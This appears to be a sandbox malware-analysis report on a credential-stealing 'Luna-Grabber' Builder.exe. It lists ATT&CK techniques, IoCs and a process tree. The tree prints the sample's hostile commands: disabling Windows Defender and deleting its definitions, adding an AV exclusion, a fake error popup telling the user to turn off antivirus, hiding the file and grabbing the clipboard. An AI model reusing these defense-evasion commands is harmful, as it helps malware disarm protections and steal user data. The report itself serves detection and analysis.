e1a5ef2777acf33ec21f7dc25bb4b1beec3b6f12752385b1d6d07d8ae917c078

Analysis

max time kernel
438s
max time network
316s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
04-12-2024 09:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Obekräftade 680491.zip
Size

7.2MB
MD5

90a58ab991bc0eb1edd154a31bcda5d2
SHA1

6de61f5326b5f150a9a4c7eea232e8e87fa70b63
SHA256

e1a5ef2777acf33ec21f7dc25bb4b1beec3b6f12752385b1d6d07d8ae917c078
SHA512

3b9bc29b8c59d0d2eebe09beaa17ab0390a97957b9eeb7322ec253ced901db52ef0d60db0ee5d5f4a45db082b90870fa3b4bab0f22af29696e761d894b9dd595
SSDEEP

196608:OMVFkE8DSc4eokbV5C5BTDZasMKvjx9B+:OMV2E8D2eokJg5BTDP1F9E

Score

10^/10

collection credential_access defense_evasion discovery evasion execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
1844	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4596	powershell.exe
4556	powershell.exe
2080	powershell.exe
4460	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Builder.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
4660	powershell.exe
4992	cmd.exe

Executes dropped EXE 3 IoCs

pid	Process
1128	Builder.exe
4612	Builder.exe
2200	rar.exe

Loads dropped DLL 16 IoCs

pid	Process
4612	Builder.exe
4612	Builder.exe
4612	Builder.exe
4612	Builder.exe
4612	Builder.exe
4612	Builder.exe
4612	Builder.exe
4612	Builder.exe
4612	Builder.exe
4612	Builder.exe
4612	Builder.exe
4612	Builder.exe
4612	Builder.exe
4612	Builder.exe
4612	Builder.exe
4612	Builder.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
56	discord.com
57	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
40	ip-api.com
53	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 5 IoCs

discovery

Process Discovery

T1057

pid	Process
2928	tasklist.exe
2176	tasklist.exe
4056	tasklist.exe
956	tasklist.exe
1636	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
364	cmd.exe

UPX packed file 60 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x002800000004506e-48.dat	upx
behavioral1/memory/4612-52-0x00007FF8F2A60000-0x00007FF8F3049000-memory.dmp	upx
behavioral1/files/0x0028000000045061-54.dat	upx
behavioral1/memory/4612-57-0x00007FF8F5190000-0x00007FF8F51B3000-memory.dmp	upx
behavioral1/memory/4612-59-0x00007FF904750000-0x00007FF90475F000-memory.dmp	upx
behavioral1/files/0x002800000004506c-58.dat	upx
behavioral1/files/0x002800000004506b-61.dat	upx
behavioral1/files/0x0028000000045068-75.dat	upx
behavioral1/files/0x0028000000045067-74.dat	upx
behavioral1/files/0x0028000000045066-73.dat	upx
behavioral1/files/0x0028000000045065-72.dat	upx
behavioral1/files/0x0028000000045064-71.dat	upx
behavioral1/files/0x0028000000045063-70.dat	upx
behavioral1/files/0x0028000000045062-69.dat	upx
behavioral1/files/0x0028000000045060-68.dat	upx
behavioral1/files/0x0028000000045073-67.dat	upx
behavioral1/files/0x0028000000045072-66.dat	upx
behavioral1/files/0x0028000000045071-65.dat	upx
behavioral1/files/0x002800000004506d-62.dat	upx
behavioral1/memory/4612-81-0x00007FF8F3A90000-0x00007FF8F3ABD000-memory.dmp	upx
behavioral1/memory/4612-83-0x00007FF903610000-0x00007FF903629000-memory.dmp	upx
behavioral1/memory/4612-85-0x00007FF8F3220000-0x00007FF8F3243000-memory.dmp	upx
behavioral1/memory/4612-87-0x00007FF8F28E0000-0x00007FF8F2A57000-memory.dmp	upx
behavioral1/memory/4612-89-0x00007FF8FC150000-0x00007FF8FC169000-memory.dmp	upx
behavioral1/memory/4612-91-0x00007FF904310000-0x00007FF90431D000-memory.dmp	upx
behavioral1/memory/4612-96-0x00007FF8F31E0000-0x00007FF8F3213000-memory.dmp	upx
behavioral1/memory/4612-99-0x00007FF8F5190000-0x00007FF8F51B3000-memory.dmp	upx
behavioral1/memory/4612-98-0x00007FF8F22F0000-0x00007FF8F23BD000-memory.dmp	upx
behavioral1/memory/4612-97-0x00007FF8F23C0000-0x00007FF8F28E0000-memory.dmp	upx
behavioral1/memory/4612-95-0x00007FF8F2A60000-0x00007FF8F3049000-memory.dmp	upx
behavioral1/memory/4612-101-0x00007FF8FA390000-0x00007FF8FA3A4000-memory.dmp	upx
behavioral1/memory/4612-103-0x00007FF9041A0000-0x00007FF9041AD000-memory.dmp	upx
behavioral1/memory/4612-105-0x00007FF8F21D0000-0x00007FF8F22EC000-memory.dmp	upx
behavioral1/memory/4612-132-0x00007FF8F3220000-0x00007FF8F3243000-memory.dmp	upx
behavioral1/memory/4612-133-0x00007FF8F28E0000-0x00007FF8F2A57000-memory.dmp	upx
behavioral1/memory/4612-134-0x00007FF8FC150000-0x00007FF8FC169000-memory.dmp	upx
behavioral1/memory/4612-166-0x00007FF8F31E0000-0x00007FF8F3213000-memory.dmp	upx
behavioral1/memory/4612-167-0x00007FF8F23C0000-0x00007FF8F28E0000-memory.dmp	upx
behavioral1/memory/4612-232-0x00007FF8F22F0000-0x00007FF8F23BD000-memory.dmp	upx
behavioral1/memory/4612-258-0x00007FF8F5190000-0x00007FF8F51B3000-memory.dmp	upx
behavioral1/memory/4612-263-0x00007FF8F28E0000-0x00007FF8F2A57000-memory.dmp	upx
behavioral1/memory/4612-257-0x00007FF8F2A60000-0x00007FF8F3049000-memory.dmp	upx
behavioral1/memory/4612-272-0x00007FF8FA390000-0x00007FF8FA3A4000-memory.dmp	upx
behavioral1/memory/4612-309-0x00007FF8F2A60000-0x00007FF8F3049000-memory.dmp	upx
behavioral1/memory/4612-324-0x00007FF8F2A60000-0x00007FF8F3049000-memory.dmp	upx
behavioral1/memory/4612-354-0x00007FF8F2A60000-0x00007FF8F3049000-memory.dmp	upx
behavioral1/memory/4612-378-0x00007FF8F31E0000-0x00007FF8F3213000-memory.dmp	upx
behavioral1/memory/4612-382-0x00007FF8F21D0000-0x00007FF8F22EC000-memory.dmp	upx
behavioral1/memory/4612-381-0x00007FF9041A0000-0x00007FF9041AD000-memory.dmp	upx
behavioral1/memory/4612-380-0x00007FF8FA390000-0x00007FF8FA3A4000-memory.dmp	upx
behavioral1/memory/4612-379-0x00007FF8F23C0000-0x00007FF8F28E0000-memory.dmp	upx
behavioral1/memory/4612-377-0x00007FF904310000-0x00007FF90431D000-memory.dmp	upx
behavioral1/memory/4612-376-0x00007FF8FC150000-0x00007FF8FC169000-memory.dmp	upx
behavioral1/memory/4612-375-0x00007FF8F28E0000-0x00007FF8F2A57000-memory.dmp	upx
behavioral1/memory/4612-374-0x00007FF8F3220000-0x00007FF8F3243000-memory.dmp	upx
behavioral1/memory/4612-373-0x00007FF903610000-0x00007FF903629000-memory.dmp	upx
behavioral1/memory/4612-372-0x00007FF8F3A90000-0x00007FF8F3ABD000-memory.dmp	upx
behavioral1/memory/4612-371-0x00007FF904750000-0x00007FF90475F000-memory.dmp	upx
behavioral1/memory/4612-370-0x00007FF8F5190000-0x00007FF8F51B3000-memory.dmp	upx
behavioral1/memory/4612-369-0x00007FF8F22F0000-0x00007FF8F23BD000-memory.dmp	upx

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\48824c17-c1c9-4ee6-9f7d-39808871d041.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20241204093457.pma	setup.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	UserOOBEBroker.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	UserOOBEBroker.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	UserOOBEBroker.exe
File opened for modification	C:\Windows\CbsTemp	TiWorker.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setupact.log	UserOOBEBroker.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FileCoAuth.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2624	cmd.exe
2520	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
856	cmd.exe
824	netsh.exe

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5004	WMIC.exe
4928	WMIC.exe
4712	WMIC.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
32	systeminfo.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1361837696-2276465416-1936241636-1000_Classes\Local Settings	OpenWith.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2520	PING.EXE

Suspicious behavior: EnumeratesProcesses 62 IoCs

pid	Process
1340	WMIC.exe
1340	WMIC.exe
1340	WMIC.exe
1340	WMIC.exe
4460	powershell.exe
4460	powershell.exe
4596	powershell.exe
4596	powershell.exe
4596	powershell.exe
4460	powershell.exe
5004	WMIC.exe
5004	WMIC.exe
5004	WMIC.exe
5004	WMIC.exe
4928	WMIC.exe
4928	WMIC.exe
4928	WMIC.exe
4928	WMIC.exe
1304	WMIC.exe
1304	WMIC.exe
1304	WMIC.exe
1304	WMIC.exe
4660	powershell.exe
4660	powershell.exe
4660	powershell.exe
3200	powershell.exe
3200	powershell.exe
3200	powershell.exe
4556	powershell.exe
4556	powershell.exe
4556	powershell.exe
2036	powershell.exe
2036	powershell.exe
2036	powershell.exe
2016	WMIC.exe
2016	WMIC.exe
2016	WMIC.exe
2016	WMIC.exe
2624	WMIC.exe
2624	WMIC.exe
2624	WMIC.exe
2624	WMIC.exe
1844	WMIC.exe
1844	WMIC.exe
1844	WMIC.exe
1844	WMIC.exe
2080	powershell.exe
2080	powershell.exe
2080	powershell.exe
4712	WMIC.exe
4712	WMIC.exe
4712	WMIC.exe
4712	WMIC.exe
4352	powershell.exe
4352	powershell.exe
4352	powershell.exe
1712	msedge.exe
1712	msedge.exe
3892	msedge.exe
3892	msedge.exe
5236	identity_helper.exe
5236	identity_helper.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
3892	msedge.exe
3892	msedge.exe
3892	msedge.exe
3892	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	1460	7zFM.exe
Token: 35	1460	7zFM.exe
Token: SeSecurityPrivilege	1460	7zFM.exe
Token: SeIncreaseQuotaPrivilege	1340	WMIC.exe
Token: SeSecurityPrivilege	1340	WMIC.exe
Token: SeTakeOwnershipPrivilege	1340	WMIC.exe
Token: SeLoadDriverPrivilege	1340	WMIC.exe
Token: SeSystemProfilePrivilege	1340	WMIC.exe
Token: SeSystemtimePrivilege	1340	WMIC.exe
Token: SeProfSingleProcessPrivilege	1340	WMIC.exe
Token: SeIncBasePriorityPrivilege	1340	WMIC.exe
Token: SeCreatePagefilePrivilege	1340	WMIC.exe
Token: SeBackupPrivilege	1340	WMIC.exe
Token: SeRestorePrivilege	1340	WMIC.exe
Token: SeShutdownPrivilege	1340	WMIC.exe
Token: SeDebugPrivilege	1340	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1340	WMIC.exe
Token: SeRemoteShutdownPrivilege	1340	WMIC.exe
Token: SeUndockPrivilege	1340	WMIC.exe
Token: SeManageVolumePrivilege	1340	WMIC.exe
Token: 33	1340	WMIC.exe
Token: 34	1340	WMIC.exe
Token: 35	1340	WMIC.exe
Token: 36	1340	WMIC.exe
Token: SeDebugPrivilege	2928	tasklist.exe
Token: SeDebugPrivilege	4460	powershell.exe
Token: SeDebugPrivilege	4596	powershell.exe
Token: SeIncreaseQuotaPrivilege	1340	WMIC.exe
Token: SeSecurityPrivilege	1340	WMIC.exe
Token: SeTakeOwnershipPrivilege	1340	WMIC.exe
Token: SeLoadDriverPrivilege	1340	WMIC.exe
Token: SeSystemProfilePrivilege	1340	WMIC.exe
Token: SeSystemtimePrivilege	1340	WMIC.exe
Token: SeProfSingleProcessPrivilege	1340	WMIC.exe
Token: SeIncBasePriorityPrivilege	1340	WMIC.exe
Token: SeCreatePagefilePrivilege	1340	WMIC.exe
Token: SeBackupPrivilege	1340	WMIC.exe
Token: SeRestorePrivilege	1340	WMIC.exe
Token: SeShutdownPrivilege	1340	WMIC.exe
Token: SeDebugPrivilege	1340	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1340	WMIC.exe
Token: SeRemoteShutdownPrivilege	1340	WMIC.exe
Token: SeUndockPrivilege	1340	WMIC.exe
Token: SeManageVolumePrivilege	1340	WMIC.exe
Token: 33	1340	WMIC.exe
Token: 34	1340	WMIC.exe
Token: 35	1340	WMIC.exe
Token: 36	1340	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4460	powershell.exe
Token: SeSecurityPrivilege	4460	powershell.exe
Token: SeTakeOwnershipPrivilege	4460	powershell.exe
Token: SeLoadDriverPrivilege	4460	powershell.exe
Token: SeSystemProfilePrivilege	4460	powershell.exe
Token: SeSystemtimePrivilege	4460	powershell.exe
Token: SeProfSingleProcessPrivilege	4460	powershell.exe
Token: SeIncBasePriorityPrivilege	4460	powershell.exe
Token: SeCreatePagefilePrivilege	4460	powershell.exe
Token: SeBackupPrivilege	4460	powershell.exe
Token: SeRestorePrivilege	4460	powershell.exe
Token: SeShutdownPrivilege	4460	powershell.exe
Token: SeDebugPrivilege	4460	powershell.exe
Token: SeSystemEnvironmentPrivilege	4460	powershell.exe
Token: SeRemoteShutdownPrivilege	4460	powershell.exe
Token: SeUndockPrivilege	4460	powershell.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
1460	7zFM.exe
1460	7zFM.exe
3892	msedge.exe
3892	msedge.exe
3892	msedge.exe

Suspicious use of SetWindowsHookEx 18 IoCs

pid	Process
1448	OpenWith.exe
1448	OpenWith.exe
1448	OpenWith.exe
1448	OpenWith.exe
1448	OpenWith.exe
1448	OpenWith.exe
1448	OpenWith.exe
1448	OpenWith.exe
1448	OpenWith.exe
1448	OpenWith.exe
1448	OpenWith.exe
1448	OpenWith.exe
1448	OpenWith.exe
1448	OpenWith.exe
1448	OpenWith.exe
1448	OpenWith.exe
1448	OpenWith.exe
2848	SecHealthUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1448 wrote to memory of 4428	1448	OpenWith.exe	95
PID 1448 wrote to memory of 4428	1448	OpenWith.exe	95
PID 1128 wrote to memory of 4612	1128	Builder.exe	100
PID 1128 wrote to memory of 4612	1128	Builder.exe	100
PID 4612 wrote to memory of 4944	4612	Builder.exe	101
PID 4612 wrote to memory of 4944	4612	Builder.exe	101
PID 4612 wrote to memory of 2644	4612	Builder.exe	102
PID 4612 wrote to memory of 2644	4612	Builder.exe	102
PID 4612 wrote to memory of 4768	4612	Builder.exe	103
PID 4612 wrote to memory of 4768	4612	Builder.exe	103
PID 4612 wrote to memory of 4220	4612	Builder.exe	106
PID 4612 wrote to memory of 4220	4612	Builder.exe	106
PID 4612 wrote to memory of 3904	4612	Builder.exe	109
PID 4612 wrote to memory of 3904	4612	Builder.exe	109
PID 4768 wrote to memory of 440	4768	cmd.exe	111
PID 4768 wrote to memory of 440	4768	cmd.exe	111
PID 3904 wrote to memory of 1340	3904	cmd.exe	112
PID 3904 wrote to memory of 1340	3904	cmd.exe	112
PID 4220 wrote to memory of 2928	4220	cmd.exe	113
PID 4220 wrote to memory of 2928	4220	cmd.exe	113
PID 4944 wrote to memory of 4460	4944	cmd.exe	114
PID 4944 wrote to memory of 4460	4944	cmd.exe	114
PID 2644 wrote to memory of 4596	2644	cmd.exe	115
PID 2644 wrote to memory of 4596	2644	cmd.exe	115
PID 2644 wrote to memory of 1844	2644	cmd.exe	117
PID 2644 wrote to memory of 1844	2644	cmd.exe	117
PID 4612 wrote to memory of 2200	4612	Builder.exe	118
PID 4612 wrote to memory of 2200	4612	Builder.exe	118
PID 2200 wrote to memory of 540	2200	cmd.exe	120
PID 2200 wrote to memory of 540	2200	cmd.exe	120
PID 4612 wrote to memory of 4276	4612	Builder.exe	121
PID 4612 wrote to memory of 4276	4612	Builder.exe	121
PID 4276 wrote to memory of 1712	4276	cmd.exe	123
PID 4276 wrote to memory of 1712	4276	cmd.exe	123
PID 4612 wrote to memory of 3524	4612	Builder.exe	124
PID 4612 wrote to memory of 3524	4612	Builder.exe	124
PID 3524 wrote to memory of 5004	3524	cmd.exe	126
PID 3524 wrote to memory of 5004	3524	cmd.exe	126
PID 4612 wrote to memory of 2520	4612	Builder.exe	127
PID 4612 wrote to memory of 2520	4612	Builder.exe	127
PID 2520 wrote to memory of 4928	2520	cmd.exe	129
PID 2520 wrote to memory of 4928	2520	cmd.exe	129
PID 4612 wrote to memory of 364	4612	Builder.exe	130
PID 4612 wrote to memory of 364	4612	Builder.exe	130
PID 364 wrote to memory of 4540	364	cmd.exe	132
PID 364 wrote to memory of 4540	364	cmd.exe	132
PID 4612 wrote to memory of 1624	4612	Builder.exe	136
PID 4612 wrote to memory of 1624	4612	Builder.exe	136
PID 4612 wrote to memory of 3648	4612	Builder.exe	137
PID 4612 wrote to memory of 3648	4612	Builder.exe	137
PID 1624 wrote to memory of 2176	1624	cmd.exe	142
PID 1624 wrote to memory of 2176	1624	cmd.exe	142
PID 3648 wrote to memory of 4056	3648	cmd.exe	141
PID 3648 wrote to memory of 4056	3648	cmd.exe	141
PID 4612 wrote to memory of 3928	4612	Builder.exe	143
PID 4612 wrote to memory of 3928	4612	Builder.exe	143
PID 4612 wrote to memory of 4992	4612	Builder.exe	145
PID 4612 wrote to memory of 4992	4612	Builder.exe	145
PID 4612 wrote to memory of 2620	4612	Builder.exe	147
PID 4612 wrote to memory of 2620	4612	Builder.exe	147
PID 4612 wrote to memory of 1516	4612	Builder.exe	149
PID 4612 wrote to memory of 1516	4612	Builder.exe	149
PID 3928 wrote to memory of 1304	3928	cmd.exe	150
PID 3928 wrote to memory of 1304	3928	cmd.exe	150

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4540	attrib.exe
1460	attrib.exe
5004	attrib.exe

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Obekräftade 680491.zip"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1460

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:932

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1448
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Luna-Grabber-main\README.md
  2⤵
  PID:4428

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Luna-Grabber-main\requirements.txt
1⤵
PID:328

C:\Users\Admin\Desktop\Luna-Grabber-main\Builder.exe
"C:\Users\Admin\Desktop\Luna-Grabber-main\Builder.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1128
- C:\Users\Admin\Desktop\Luna-Grabber-main\Builder.exe
  "C:\Users\Admin\Desktop\Luna-Grabber-main\Builder.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Luna-Grabber-main\Builder.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4944
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Luna-Grabber-main\Builder.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2644
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4596
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:1844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Failed to open Builder.exe! Please turn off your Anti-Virus. If you think this is a mistake please contact DexterWasHere#2952 on Discord', 0, 'Error02', 0+16);close()""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4768
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Failed to open Builder.exe! Please turn off your Anti-Virus. If you think this is a mistake please contact DexterWasHere#2952 on Discord', 0, 'Error02', 0+16);close()"
      4⤵
      PID:440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4220
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3904
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2200
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4276
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:1712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3524
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:5004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2520
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:4928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\Desktop\Luna-Grabber-main\Builder.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:364
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\Desktop\Luna-Grabber-main\Builder.exe"
      4⤵
      Views/modifies file attributes
      PID:4540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1624
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:2176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3648
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3928
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:4992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:4660
- - C:\Windows\system32\cmd.exe
